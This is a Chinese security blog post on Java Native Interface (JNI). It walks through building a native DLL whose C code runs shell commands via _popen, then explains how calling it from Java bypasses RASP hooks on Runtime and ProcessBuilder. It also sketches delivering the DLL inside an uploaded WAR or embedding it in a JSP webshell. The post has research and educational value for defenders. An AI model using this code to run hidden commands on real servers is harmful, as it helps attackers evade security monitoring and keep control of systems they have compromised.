Java安全之JNI绕过RASP
Java安全之JNI绕过RASP
0x00 前言
前面一直想看该JNI的相关内容,但是发现JNI的资料还是偏少。后面发现JNI在安全中应用非常的微妙,有意思。
0x01 JNI概述
JNI的全称叫做(Java Native Interface),其作用就是让我们的Java程序去调用C的程序。实际上调用的并不是exe程序,而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的,Java底层很多也会去使用JNI。
在开发中运用到的也是比较多,比如在前面分析链的时候,追溯到一些底层实现代码的时候就可以看到一些方法是使用Native
来修饰的。这就说明他是一个c语言去实现的一个方法。
0x02 JNI实现
来看到下面这张图,该图是实现JNI编程的具体路线
这里我大致分为五步:
1. 定义一个native修饰的方法
2. 使用javah进行编译
3. 编写对应的c语言代码
4. 使用gcc编译成dll文件
5. 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用
按照步骤来实现一下
- 定义一个native修饰的方法
package com.test;
public class Command {
public native int sum(int num1,int num2);
}
- 使用javah进行编译
首先使用javac编译成class文件
javac .\Command.java
然后使用javah生成c的头文件,切换到src目录下。后面发现其实可以不用编译成class文件。
JDK10移除了javah
,需要改为javac
加-h
参数的方式生产头文件,命令:
javac -cp . .\Command.java -h com.test.Command
然后执行命令
javah -cp . com.test.Command
这里可以看到有个Java_com_test_Command_sum
的字符,前面的Java是固定的前缀,后面是类名,最后面的是该类中定义的方法。
而括号里面的4个参数,第一个是JNI环境变量对象,第二个是Java调用的对象,这里是jclass也就是一个class文件。后面两个则是传入的参数并且是int类型的。
里面的内容是javah基于刚刚的java代码自动生成的,不要轻易更改。在编写c代码的时候,需要导入该头文件
- 编写对应的c语言代码
#include "com_test_Command.h"
JNIEXPORT jint JNICALL Java_com_test_Command_sum
(JNIEnv *env, jobject obj, jint num1, jint num2){
return num1+num2;
}
void main(){}
- 使用gcc编译成dll文件
gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include" -I "c:\Program Files\Java\jdk1.7.0_75\include\win32"
--shared JniClass.c
-o 1.dll
需要指定jdk的include和win32文件
或者可以这么写
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。
mac 编译:
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp
linux编译:
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp
g++是用来编译c++的,均可使用。代码如果是c++写的,就可以使用g++来编译成dll一样可以调用。
这里先来编译一下
gcc -I "D:\JAVA_JDK\include" -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c
重新在IDEA里面打开项目,并编写代码
package com.test;
public class test {
public static void main(String[] args) {
System.loadLibrary("cmd");
Command command = new Command();
int sum = command.sum(1, 2);
System.out.println(sum);
}
}
运行查看结果,查看是否能正常运行
然而这里发现爆了个这样的错误,在64位数的平台不能去调用32位数的dll文件,貌似是使用到了32位的gcc进行编译导致调用报错
发现自己安装的是32位的gcc编译只能编译成32位的dll文件,后面来使用gcc 64 位的就可以了。
再次编译成gcc进行调用后,就可以进行执行。
到了这里,就已经是调用了封装好的dll动态链接库文件里面封装的方法了。
0x03 JNI 绕过RASP 执行命令
在RASP里其实是Hook掉了一些Runtime
、ProcessBuilder
等类,但是Runtime.exec
调用的是ProcessBuilder.start
,ProcessBuilder.start
的底层会调用ProcessImpl
类。那么这时候只需要去Hook掉ProcessImpl
就无法进行执行命令了。那么像这种基于堆栈调用去识别的该怎么去绕过呢?假设一个场景一个站点使用RASP,这时候如果上传一个webshell
那么这时候就会去用到NI去调用该dll文件就可以进行一个绕过,可以先来实现这么一个功能,后续还需要考虑到的是怎么将几个文件封装到一起,打包成一个jsp文件进行上传。
首先还是需要在IDEA里面先去实现功能,基于上面代码去做一个修改
Command类:
package com.test;
public class Command {
public native String exec(String cmd);
}
编译成.h c语言的头文件,内容如下:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_test_Command */
#ifndef _Included_com_test_Command
#define _Included_com_test_Command
#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT jstring JNICALL Java_com_test_Command_exec
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
编写命令执行的C语言代码,由于不会C ,该段代码是网上找的
#include "com_test_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
_pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
使用命令将2个文件编译成dll动态链接库
然后编写Java代码加载dll文件,调用C语言中封装的方法
package com.test;
public class test {
public static void main(String[] args) {
System.loadLibrary("cc");
Command command = new Command();
String ipconfig = command.exec("ipconfig");
System.out.println(ipconfig);
}
}
调用栈:
命令就执行成功了,这里不是调用一些自带的Runtime等方法,而是调用dll文件中封装的方法,能够去绕过一些RASP的拦截。
目前我的设想是由两种方式在现实场景中去进行一个使用,一个是将dll文件都打包成一个war包,在一些tomcat管理后台的位置上传后,自动进行解压释放该dll文件,然后使用jsp去调用该dll文件,从而使得可以绕过执行命令。或者是可以使用远程调用的方式,这样就可以不用上传dll文件了, 这样做的目的是一般上传点之类的都不会允许dll文件进行上传。
还有一种方式是将dll文件编码后,内置到jsp中,执行的时候进行释放到当前文件目录下,进行调用。
参考文章
https://cloud.tencent.com/developer/article/1541566
https://javasec.org/javase/JNI/
吹爆花猫大哥的Javasec文章,在Javasec的JNI文中用到的是c++来进行一个代码实现,实际效果差不多。具体的在本文中就不做实现。Javasec中有现成代码。
0x04 结尾
其实这种方式还是有办法查杀到的,具体参考该篇文章:JNI编程怎么跟踪调试dll。
Java安全之JNI绕过RASP的更多相关文章
- Java层与Jni层的数组传递(转)
源:Java层与Jni层的数组传递 Android开发中,经常会在Java代码与Jni层之间传递数组(byte[]),一个典型的应用是Java层把需要发送给客户端的数据流传递到Jni层,由Jni层的S ...
- Android开发实践:Java层与Jni层的数组传递
转载:http://www.linuxidc.com/Linux/2014-03/97561.htm Android开发中,经常会在Java代码与Jni层之间传递数组(byte[]),一个典型的应用是 ...
- JAVA Native Interface (JNI)
1. Introduction At times, it is necessary to use native (non-Java) codes (e.g., C/C++) to overcome ...
- 1.JAVA中使用JNI调用C++代码学习笔记
Java 之JNI编程1.什么是JNI? JNI:(Java Natibe Inetrface)缩写. 2.为什么要学习JNI? Java 是跨平台的语言,但是在有些时候仍然是有需要调用本地代码 ( ...
- Java JVM、JNI、Native Function Interface、Create New Process Native Function API Analysis
目录 . JAVA JVM . Java JNI: Java Native Interface . Java Create New Process Native Function API Analys ...
- Java %c0%ae 安全模式绕过漏洞
漏洞类型:安全模式绕过漏洞 漏洞描述:在Java端"%c0%ae"解析为"\uC0AE",最后转义为ASCCII低字符-".".通过这个方法 ...
- (转)java 层调用Jni(Ndk) 持久化c c++ 对象
对于Jni(Ndk) 很多人应该都有印象,Android的ndk接触到的机会相对会比较多,本例子以android平台为例,pc端的话就以简单的windows为例, 编码完用vs 或是 gcc进行编译成 ...
- 图解安卓-c++开发-通过java 调用c++ jni的使用
接着上一节 ,很多事情用java做,效率要差一点(尤其是游戏),所以要用c++来实现,那么java如何调用c++ 首先建议一个工程 HelloJni如下图: 按照默认的配置下一步,直到完成 . 如下图 ...
- java native interface JNI 调用Java方法
在上一篇文章中介绍了JNI.以及java调用JNI.这篇讲一下 JNI调用java方法. 通过使用合适的JNI函数,你能够创建Java对象,get.set 静态(static)和 实例(instanc ...
随机推荐
- 获取url中查询字符串参数
// 获取url中查询字符串参数 例如http://www.test.com?a=1&b=2 function RequestParamete() { var url = window.loc ...
- Java学习的第十五天
1.今天复习了第四章的内容 重新看了看方法参数问题,final修饰的关键字 2.今天没问题 3.明天学习多态变化
- Go语言中的互斥锁和读写锁(Mutex和RWMutex)
目录 一.Mutex(互斥锁) 不加锁示例 加锁示例 二.RWMutex(读写锁) 并发读示例 并发读写示例 三.死锁场景 1.Lock/Unlock不是成对出现 2.锁被拷贝使用 3.循环等待 虽然 ...
- python重要的第三方库pandas模块常用函数解析之DataFrame
pandas模块常用函数解析之DataFrame 关注公众号"轻松学编程"了解更多. 以下命令都是在浏览器中输入. cmd命令窗口输入:jupyter notebook 打开浏览器 ...
- Hadoop调优 | NameNode主备宕机引发的思考
大家都知道在双十一这些电商大型营销活动期间,电商网站的访问量等是平时的N倍.每当这个时候到来,无论是开发还是运维人员都严阵以待生怕服务出现问题.很不幸,笔者的一个朋友在一家电商公司上班,在双十一时,恰 ...
- Git操作:远程仓库(git remote)的添加、管理和删除
这是你的git仓库,他已经添加了一个远程仓库,可以用git remote -v查看绑定的仓库列表,他会以<仓库名> <仓库地址>的形式展示出来(一个仓库会显示两遍): $ g ...
- ubuntu12.04管理文件系统工具
ubuntu12.04管理文件系统工具 以前可以自动管理系统盘和移动硬盘,刚重新安装了UBUNTU12.04LTS之后不行了,原来是这个工具: "PCMANFM" 群星_-_偏偏喜 ...
- nginx&http 第三章 ngx http ngx_http_process_request_line读取和处理HTTP头部的行
在 ngx_http_wait_request_handler 的最后调用了 ngx_http_process_request_line 函数用来处理和解析这次请求的全文 在读事件被触发时,内核套接字 ...
- IO复用之poll
主要用一个例程来讲解poll,包含客户端和服务器端. poll函数没有FD_SETSIZE的限制 int poll(struct pollfd * fdarray, unsigned long nfd ...
- Spring源码之Bean生命周期
https://www.jianshu.com/p/1dec08d290c1 https://www.cnblogs.com/zrtqsk/p/3735273.html 总结 将class文件加载成B ...